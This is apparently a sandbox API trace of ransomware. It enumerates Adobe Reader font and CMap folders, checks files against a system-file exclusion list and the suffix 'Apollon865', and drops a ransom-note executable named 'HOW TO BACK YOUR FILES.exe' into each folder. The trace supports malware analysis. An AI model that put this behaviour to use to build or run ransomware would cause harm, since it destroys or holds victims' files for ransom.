	[0057.331] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeThai-Italic.otf" | out: lpString1="AdobeThai-Italic.otf") returned="AdobeThai-Italic.otf"
	[0057.331] lstrlenW (lpString="AdobeThai-Italic.otf") returned 20
	[0057.331] lstrlenW (lpString="Apollon865") returned 10
	[0057.331] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
	[0057.331] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeThai-Regular.otf" | out: lpString1="AdobeThai-Regular.otf") returned="AdobeThai-Regular.otf"
	[0057.331] lstrlenW (lpString="AdobeThai-Regular.otf") returned 21
	[0057.331] lstrlenW (lpString="Apollon865") returned 10
	[0057.331] lstrcmpiW (lpString1="egular.otf", lpString2="Apollon865") returned 1
	[0057.331] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CourierStd-Bold.otf" | out: lpString1="CourierStd-Bold.otf") returned="CourierStd-Bold.otf"
	[0057.331] lstrlenW (lpString="CourierStd-Bold.otf") returned 19
	[0057.331] lstrlenW (lpString="Apollon865") returned 10
	[0057.331] lstrcmpiW (lpString1="d-Bold.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CourierStd-BoldOblique.otf" | out: lpString1="CourierStd-BoldOblique.otf") returned="CourierStd-BoldOblique.otf"
	[0057.332] lstrlenW (lpString="CourierStd-BoldOblique.otf") returned 26
	[0057.332] lstrlenW (lpString="Apollon865") returned 10
	[0057.332] lstrcmpiW (lpString1="blique.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CourierStd-Oblique.otf" | out: lpString1="CourierStd-Oblique.otf") returned="CourierStd-Oblique.otf"
	[0057.332] lstrlenW (lpString="CourierStd-Oblique.otf") returned 22
	[0057.332] lstrlenW (lpString="Apollon865") returned 10
	[0057.332] lstrcmpiW (lpString1="blique.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CourierStd.otf" | out: lpString1="CourierStd.otf") returned="CourierStd.otf"
	[0057.332] lstrlenW (lpString="CourierStd.otf") returned 14
	[0057.332] lstrlenW (lpString="Apollon865") returned 10
	[0057.332] lstrcmpiW (lpString1="ierStd.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MinionPro-Bold.otf" | out: lpString1="MinionPro-Bold.otf") returned="MinionPro-Bold.otf"
	[0057.332] lstrlenW (lpString="MinionPro-Bold.otf") returned 18
	[0057.332] lstrlenW (lpString="Apollon865") returned 10
	[0057.332] lstrcmpiW (lpString1="o-Bold.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MinionPro-BoldIt.otf" | out: lpString1="MinionPro-BoldIt.otf") returned="MinionPro-BoldIt.otf"
	[0057.332] lstrlenW (lpString="MinionPro-BoldIt.otf") returned 20
	[0057.332] lstrlenW (lpString="Apollon865") returned 10
	[0057.332] lstrcmpiW (lpString1="BoldIt.otf", lpString2="Apollon865") returned 1
	[0057.332] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MinionPro-It.otf" | out: lpString1="MinionPro-It.otf") returned="MinionPro-It.otf"
	[0057.332] lstrlenW (lpString="MinionPro-It.otf") returned 16
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="Pro-It.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MinionPro-Regular.otf" | out: lpString1="MinionPro-Regular.otf") returned="MinionPro-Regular.otf"
	[0057.333] lstrlenW (lpString="MinionPro-Regular.otf") returned 21
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="egular.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MyriadPro-Bold.otf" | out: lpString1="MyriadPro-Bold.otf") returned="MyriadPro-Bold.otf"
	[0057.333] lstrlenW (lpString="MyriadPro-Bold.otf") returned 18
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="o-Bold.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MyriadPro-BoldIt.otf" | out: lpString1="MyriadPro-BoldIt.otf") returned="MyriadPro-BoldIt.otf"
	[0057.333] lstrlenW (lpString="MyriadPro-BoldIt.otf") returned 20
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="BoldIt.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MyriadPro-It.otf" | out: lpString1="MyriadPro-It.otf") returned="MyriadPro-It.otf"
	[0057.333] lstrlenW (lpString="MyriadPro-It.otf") returned 16
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="Pro-It.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MyriadPro-Regular.otf" | out: lpString1="MyriadPro-Regular.otf") returned="MyriadPro-Regular.otf"
	[0057.333] lstrlenW (lpString="MyriadPro-Regular.otf") returned 21
	[0057.333] lstrlenW (lpString="Apollon865") returned 10
	[0057.333] lstrcmpiW (lpString1="egular.otf", lpString2="Apollon865") returned 1
	[0057.333] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="PFM" | out: lpString1="PFM") returned="PFM"
	[0057.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0057.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591740
	[0057.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0057.334] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="Apollon865.txt.exe") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2=".") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="..") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="windows") returned -1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="bootmgr") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="temp") returned -1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="pagefile.sys") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="boot") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="ids.txt") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="ntuser.dat") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="perflogs") returned 1
	[0057.334] lstrcmpiW (lpString1="SY______.PFB", lpString2="MSBuild") returned 1
	[0057.334] lstrlenW (lpString="SY______.PFB") returned 12
	[0057.334] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned 58
	[0057.334] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="SY______.PFB" | out: lpString1="SY______.PFB") returned="SY______.PFB"
	[0057.334] lstrlenW (lpString="SY______.PFB") returned 12
	[0057.334] lstrlenW (lpString="Apollon865") returned 10
	[0057.334] lstrcmpiW (lpString1="______.PFB", lpString2="Apollon865") returned -1
	[0057.334] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ZX______.PFB" | out: lpString1="ZX______.PFB") returned="ZX______.PFB"
	[0057.334] lstrlenW (lpString="ZX______.PFB") returned 12
	[0057.334] lstrlenW (lpString="Apollon865") returned 10
	[0057.334] lstrcmpiW (lpString1="______.PFB", lpString2="Apollon865") returned -1
	[0057.334] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ZY______.PFB" | out: lpString1="ZY______.PFB") returned="ZY______.PFB"
	[0057.334] lstrlenW (lpString="ZY______.PFB") returned 12
	[0057.334] lstrlenW (lpString="Apollon865") returned 10
	[0057.334] lstrcmpiW (lpString1="______.PFB", lpString2="Apollon865") returned -1
	[0057.335] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM"
	[0057.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0057.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0057.335] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned 58
	[0057.335] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM"
	[0057.335] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.338] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.338] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a3fd110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a3fd110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.338] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.338] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.338] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.338] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a3fd110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a3fd110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.339] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.339] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.339] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.339] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a3fd110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a3fd110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.339] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.339] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="Apollon865.txt.exe") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2=".") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="..") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="windows") returned -1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="bootmgr") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="temp") returned -1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="pagefile.sys") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="boot") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="ids.txt") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="ntuser.dat") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="perflogs") returned 1
	[0057.339] lstrcmpiW (lpString1="SY______.PFM", lpString2="MSBuild") returned 1
	[0057.339] lstrlenW (lpString="SY______.PFM") returned 12
	[0057.339] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*") returned 60
	[0057.339] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="SY______.PFM" | out: lpString1="SY______.PFM") returned="SY______.PFM"
	[0057.339] lstrlenW (lpString="SY______.PFM") returned 12
	[0057.339] lstrlenW (lpString="Apollon865") returned 10
	[0057.339] lstrcmpiW (lpString1="______.PFM", lpString2="Apollon865") returned -1
	[0057.339] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="zx______.pfm" | out: lpString1="zx______.pfm") returned="zx______.pfm"
	[0057.339] lstrlenW (lpString="zx______.pfm") returned 12
	[0057.339] lstrlenW (lpString="Apollon865") returned 10
	[0057.340] lstrcmpiW (lpString1="______.pfm", lpString2="Apollon865") returned -1
	[0057.340] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="zy______.pfm" | out: lpString1="zy______.pfm") returned="zy______.pfm"
	[0057.340] lstrlenW (lpString="zy______.pfm") returned 12
	[0057.340] lstrlenW (lpString="Apollon865") returned 10
	[0057.340] lstrcmpiW (lpString1="______.pfm", lpString2="Apollon865") returned -1
	[0057.340] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap"
	[0057.340] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0057.340] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0057.340] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned 54
	[0057.340] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap"
	[0057.340] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.340] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0057.353] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0057.353] GetLastError () returned 0x0
	[0057.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0057.353] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0057.353] CloseHandle (hObject=0xc0) returned 1
	[0057.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0057.353] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.353] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.355] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.355] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.356] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.356] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.361] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.361] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.361] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.361] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.361] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="Apollon865.txt.exe") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2=".") returned 1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="..") returned 1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="windows") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="bootmgr") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="temp") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="pagefile.sys") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="boot") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="ids.txt") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="ntuser.dat") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="perflogs") returned -1
	[0057.361] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="MSBuild") returned -1
	[0057.361] lstrlenW (lpString="83pv-RKSJ-H") returned 11
	[0057.361] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*") returned 56
	[0057.361] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="83pv-RKSJ-H" | out: lpString1="83pv-RKSJ-H") returned="83pv-RKSJ-H"
	[0057.361] lstrlenW (lpString="83pv-RKSJ-H") returned 11
	[0057.361] lstrlenW (lpString="Apollon865") returned 10
	[0057.361] lstrcmpiW (lpString1="3pv-RKSJ-H", lpString2="Apollon865") returned -1
	[0057.362] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90ms-RKSJ-H" | out: lpString1="90ms-RKSJ-H") returned="90ms-RKSJ-H"
	[0057.362] lstrlenW (lpString="90ms-RKSJ-H") returned 11
	[0057.362] lstrlenW (lpString="Apollon865") returned 10
	[0057.362] lstrcmpiW (lpString1="0ms-RKSJ-H", lpString2="Apollon865") returned -1
	[0057.362] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90ms-RKSJ-UCS2" | out: lpString1="90ms-RKSJ-UCS2") returned="90ms-RKSJ-UCS2"
	[0057.362] lstrlenW (lpString="90ms-RKSJ-UCS2") returned 14
	[0057.362] lstrlenW (lpString="Apollon865") returned 10
	[0057.362] lstrcmpiW (lpString1="-RKSJ-UCS2", lpString2="Apollon865") returned 1
	[0057.362] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90ms-RKSJ-V" | out: lpString1="90ms-RKSJ-V") returned="90ms-RKSJ-V"
	[0057.362] lstrlenW (lpString="90ms-RKSJ-V") returned 11
	[0057.362] lstrlenW (lpString="Apollon865") returned 10
	[0057.362] lstrcmpiW (lpString1="0ms-RKSJ-V", lpString2="Apollon865") returned -1
	[0057.362] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90msp-RKSJ-H" | out: lpString1="90msp-RKSJ-H") returned="90msp-RKSJ-H"
	[0057.362] lstrlenW (lpString="90msp-RKSJ-H") returned 12
	[0057.362] lstrlenW (lpString="Apollon865") returned 10
	[0057.362] lstrcmpiW (lpString1="msp-RKSJ-H", lpString2="Apollon865") returned 1
	[0057.362] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90msp-RKSJ-V" | out: lpString1="90msp-RKSJ-V") returned="90msp-RKSJ-V"
	[0057.362] lstrlenW (lpString="90msp-RKSJ-V") returned 12
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcmpiW (lpString1="msp-RKSJ-V", lpString2="Apollon865") returned 1
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90pv-RKSJ-H" | out: lpString1="90pv-RKSJ-H") returned="90pv-RKSJ-H"
	[0057.363] lstrlenW (lpString="90pv-RKSJ-H") returned 11
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcmpiW (lpString1="0pv-RKSJ-H", lpString2="Apollon865") returned -1
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90pv-RKSJ-UCS2" | out: lpString1="90pv-RKSJ-UCS2") returned="90pv-RKSJ-UCS2"
	[0057.363] lstrlenW (lpString="90pv-RKSJ-UCS2") returned 14
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcmpiW (lpString1="-RKSJ-UCS2", lpString2="Apollon865") returned 1
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="90pv-RKSJ-UCS2C" | out: lpString1="90pv-RKSJ-UCS2C") returned="90pv-RKSJ-UCS2C"
	[0057.363] lstrlenW (lpString="90pv-RKSJ-UCS2C") returned 15
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcmpiW (lpString1="RKSJ-UCS2C", lpString2="Apollon865") returned 1
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Add-RKSJ-H" | out: lpString1="Add-RKSJ-H") returned="Add-RKSJ-H"
	[0057.363] lstrlenW (lpString="Add-RKSJ-H") returned 10
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Add-RKSJ-V" | out: lpString1="Add-RKSJ-V") returned="Add-RKSJ-V"
	[0057.363] lstrlenW (lpString="Add-RKSJ-V") returned 10
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-0" | out: lpString1="Adobe-CNS1-0") returned="Adobe-CNS1-0"
	[0057.363] lstrlenW (lpString="Adobe-CNS1-0") returned 12
	[0057.363] lstrlenW (lpString="Apollon865") returned 10
	[0057.363] lstrcmpiW (lpString1="obe-CNS1-0", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-1" | out: lpString1="Adobe-CNS1-1") returned="Adobe-CNS1-1"
	[0057.364] lstrlenW (lpString="Adobe-CNS1-1") returned 12
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="obe-CNS1-1", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-2" | out: lpString1="Adobe-CNS1-2") returned="Adobe-CNS1-2"
	[0057.364] lstrlenW (lpString="Adobe-CNS1-2") returned 12
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="obe-CNS1-2", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-3" | out: lpString1="Adobe-CNS1-3") returned="Adobe-CNS1-3"
	[0057.364] lstrlenW (lpString="Adobe-CNS1-3") returned 12
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="obe-CNS1-3", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-4" | out: lpString1="Adobe-CNS1-4") returned="Adobe-CNS1-4"
	[0057.364] lstrlenW (lpString="Adobe-CNS1-4") returned 12
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="obe-CNS1-4", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-5" | out: lpString1="Adobe-CNS1-5") returned="Adobe-CNS1-5"
